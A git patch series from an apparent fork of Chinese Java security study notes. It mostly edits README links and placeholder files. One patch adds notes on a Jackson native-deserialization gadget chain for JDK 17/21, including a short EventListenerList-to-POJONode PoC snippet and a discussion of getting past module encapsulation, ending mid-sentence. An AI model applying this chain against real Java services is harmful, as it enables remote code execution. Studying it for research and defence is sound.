From 6819506b46620778c9b0aed24f9d672727f709df Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:42:26 +0800 Subject: [PATCH 01/32] =?UTF-8?q?Create=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...5\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" new file mode 100644 index 0000000..505e1fb --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" @@ -0,0 +1,3 @@ +对于Java原生反序列化漏洞,Gadget链的挖掘是其中的难点。 +Jackson依赖库(com.fasterxml.jackson.core:jackson-databind,版本>=2.10.0,当前最新版本为2.13.4)在产品中频繁出现,如Spring框架本身依赖jackson。 +Jackson依赖库存在通用原生反序列化利用gadget。 From fda9a923dfb91ff8869772bc7efeac5163977127 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:44:39 +0800 Subject: [PATCH 02/32] =?UTF-8?q?Delete=202.=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96=E4=B8=93=E5=8C=BA/Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...5\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" deleted file mode 100644 index 505e1fb..0000000 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" +++ /dev/null @@ -1,3 +0,0 @@ -对于Java原生反序列化漏洞,Gadget链的挖掘是其中的难点。 -Jackson依赖库(com.fasterxml.jackson.core:jackson-databind,版本>=2.10.0,当前最新版本为2.13.4)在产品中频繁出现,如Spring框架本身依赖jackson。 -Jackson依赖库存在通用原生反序列化利用gadget。 From 4758e6f4010a9e65b9c68ddd56d2e28a4b845c02 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:47:06 +0800 Subject: [PATCH 03/32] =?UTF-8?q?Create=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" new file mode 100644 index 0000000..8b13789 --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" @@ -0,0 +1 @@ + From 6ea9190c9334bddf0334d00e3b9de1494850a559 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:48:13 +0800 Subject: [PATCH 04/32] =?UTF-8?q?Create=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" new file mode 100644 index 0000000..8b13789 --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" @@ -0,0 +1 @@ + From 08ad0ea8fc4ed8c1340db87d5fdedcd28892bec8 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:48:24 +0800 Subject: [PATCH 05/32] =?UTF-8?q?Delete=202.=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96=E4=B8=93=E5=8C=BA/Java=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96Gadget=E6=8C=96=E6=8E=98=E4=B8=8E=E5=88=A9=E7=94=A8/Ja?= =?UTF-8?q?va=E5=8E=9F=E7=94=9F=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96Jackson?= =?UTF-8?q?=E4=BE=9D=E8=B5=96=E5=BA=93Gadget?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" | 1 - 1 file changed, 1 deletion(-) delete mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" deleted file mode 100644 index 8b13789..0000000 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" +++ /dev/null @@ -1 +0,0 @@ - From 75cbb0cecb9c814f2e34d4da6958c1fea445d8b8 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:51:00 +0800 Subject: [PATCH 06/32] =?UTF-8?q?Delete=202.=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96=E4=B8=93=E5=8C=BA/Java=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96Gadget=E6=8C=96=E6=8E=98=E4=B8=8E=E5=88=A9=E7=94=A8/Ja?= =?UTF-8?q?va=E5=8E=9F=E7=94=9F=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96Jackson?= =?UTF-8?q?=E4=BE=9D=E8=B5=96=E5=BA=93Gadget.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" | 1 - 1 file changed, 1 deletion(-) delete mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" deleted file mode 100644 index 8b13789..0000000 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" +++ /dev/null @@ -1 +0,0 @@ - From b5117339024c1ea972b49402ef5fba4fc87c6a20 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:52:45 +0800 Subject: [PATCH 07/32] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 87f4e22..874ef97 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,7 @@ 很早前学了,后面补上,更多是说一点关键的东西,不会很详细,好吧这里再拓展成反序列化专区好了 如果想系统学习CC链、CB链的话这部分还是推荐p牛的[Java安全漫谈](https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已(这部分看我下面的share并不适合新人,过了这么久看过网上很多文章还是觉得P牛写的更适合新人) +https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/ - [Java 反序列化取经路(强推)](https://su18.org/post/ysuserial/) - [Java反序列化之URLDNS](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS.md) From ecb4bdd5112afce47831e20004dc9ca1ef63a975 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:54:20 +0800 Subject: [PATCH 08/32] Update README.md --- README.md | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/README.md b/README.md index 874ef97..c256d51 100644 --- a/README.md +++ b/README.md @@ -2,17 +2,7 @@ # JavaSec - - -## 0.For Me - -仅仅只是想写给自己看 - -一个记录我Java安全学习过程的仓库,本仓库不是真正意义上的教学仓库(rep中的内容都是我在平时的一些笔记没有很强逻辑性,内容水平自然也是参差不齐,可能有些对我来说很简单的便忽略不计对其他人来说却是难点,因此作为一个学习目录的话可能会好很多),单纯这是笔者简单记一些笔记,顺便见证自己从0到0.1的过程吧,另外后面如果看到一些好的东西在学习完之后也会贴上链接,少了很多介绍性的东西,以后等厉害了再慢慢补充吧.当然如果感觉还不错的话,师傅们记得给个 Star 呀 ~ - -
@Y4tacker
- -2021年10月18日,梦的开始
+从Y4那里Fork来自用的魔改笔记 ## 1.基础篇 From bc0c351a10e0a57f8ba19e5d601b6736258983b2 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 16:40:50 +0800 Subject: [PATCH 09/32] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c256d51..a23260a 100644 --- a/README.md +++ b/README.md @@ -260,7 +260,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE ## 10.关于JNDI的整理 因为比较重要单独列出来了 - +- https://goodapple.top/archives/696 - [Java RMI 攻击由浅入深(深入源码,师傅写的很好)](https://su18.org/post/rmi-attack/) - [如何绕过高版本 JDK 的限制进行 JNDI 注入利用](https://paper.seebug.org/942/#classreference-factory) - (自己写的流程补充)[高低版JDK下的JNDI注入绕过流程跟踪](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA.md) From aafff4e6589da4aa79310e9c50f4200786e47f09 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 16:54:28 +0800 Subject: [PATCH 10/32] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index a23260a..1741566 100644 --- a/README.md +++ b/README.md @@ -89,6 +89,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE - [Jackson原生反序列化Gadgets(实用)](https://xz.aliyun.com/t/12485#toc-5) - [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt) - [从JSON1链中学习处理JACKSON链的不稳定性(使用JdkDynamicAopProxy让触发更稳定)](https://xz.aliyun.com/t/12846#toc-4) + - 高版本JDK的Jackson利用链:http://101.36.122.13:4000/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/ - Fastjson From e68e385d27ceb0efab82db78dcbb7d1d4f21011e Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:07:53 +0800 Subject: [PATCH 11/32] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1741566..48ce35c 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ # JavaSec -从Y4那里Fork来自用的魔改笔记 +从Y4大佬那里Fork来自用的魔改笔记 ## 1.基础篇 @@ -89,7 +89,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE - [Jackson原生反序列化Gadgets(实用)](https://xz.aliyun.com/t/12485#toc-5) - [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt) - [从JSON1链中学习处理JACKSON链的不稳定性(使用JdkDynamicAopProxy让触发更稳定)](https://xz.aliyun.com/t/12846#toc-4) - - 高版本JDK的Jackson利用链:http://101.36.122.13:4000/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/ + - [高版本JDK的Jackson利用链](http://101.36.122.13:4000/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/) - Fastjson From af46faa83cf688f15126e06ef0b3c5168ab04142 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:31:49 +0800 Subject: [PATCH 12/32] Create 1 --- .../1" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" new file mode 100644 index 0000000..8b13789 --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" @@ -0,0 +1 @@ + From 60f54470a40f7d029f54f3d912a9fa8981c3dc24 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:32:24 +0800 Subject: [PATCH 13/32] =?UTF-8?q?Create=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget=E5=9C=A8=E9=AB=98=E7=89=88=E6=9C=ACJDK=E4=B8=8B=E7=9A=84?= =?UTF-8?q?=E5=88=A9=E7=94=A8.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...34\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" new file mode 100644 index 0000000..8b13789 --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" @@ -0,0 +1 @@ + From 5ba9be57fc2400bb07638992e7487c75bb16259c Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:34:05 +0800 Subject: [PATCH 14/32] =?UTF-8?q?Update=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget=E5=9C=A8=E9=AB=98=E7=89=88=E6=9C=ACJDK=E4=B8=8B=E7=9A=84?= =?UTF-8?q?=E5=88=A9=E7=94=A8.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...13\347\232\204\345\210\251\347\224\250.md" | 190 ++++++++++++++++++ 1 file changed, 190 insertions(+) diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" index 8b13789..56779ca 100644 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" @@ -1 +1,191 @@ +#### 高版本jdk下的突破(jdk17、21复现) + +原版的打法是反序列化`BadAttributeValueExpException`时触发`val`属性的`toString`,来触发`POJONode.toString`,使得其调用`TemplatesImpl`的`getOutputProperties`从而动态加载字节码 + +而在高版本jdk中,`BadAttributeValueExpException`的val属性变成`String`了,无法在反序列化时触发`toString`;`TemplatesImpl`因为模块化的强封装而完全不能使用 + +##### BadAttributeValueExpException绕过 + +这个比较简单,触发toString的链的有很多,这里采用`EventListenerList`链来触发`toString`, + +链条是`EventListenerList.readObject -> POJONode.toString`,主要是利用字符串与对象的拼接触发 + +poc如下 + +```java +javax.swing.event.EventListenerList list = new javax.swing.event.EventListenerList(); +UndoManager manager = new UndoManager(); +Vector vector = (Vector) getFieldValue(manager.getClass(),manager, "edits"); +vector.add(pojoNode); +setValue(list, "listenerList", new Object[]{InternalError.class, manager}); +``` + +##### TemplatesImpl模块化的强封装的绕过 + +**模块化封装:** + +从 JDK 9 开始,Java 引入了 JPMS(Java Platform Module System,模块系统),也就是著名的 Project Jigsaw 。在 JDK 17及以上中,这一机制已经被完全强化,具体体现为: + +- 内部 API 封装:以前我们可以随意`import com.sun.*`或者 `sun.*` 的内部类,但在 JDK 17及以上, 这些类已经被模块系统强封装,默认不可访问。 +- 强封装机制:模块之间的可见性由 `module-info.java` 描述,如果某个包没有被 `exports` ,外部模块就无法直接访问。 +- 反射限制:在 JDK 8 及之前,我们常常通过 `setAccessible(true)` 绕过 `private` 限制,反射 访问类的私有字段或构造函数。但在 JDK 17及以上里,即使你用 `setAccessible(true)` ,也会被 `InaccessibleObjectException` 拦住,除非你在 `JVM` 启动时手动加 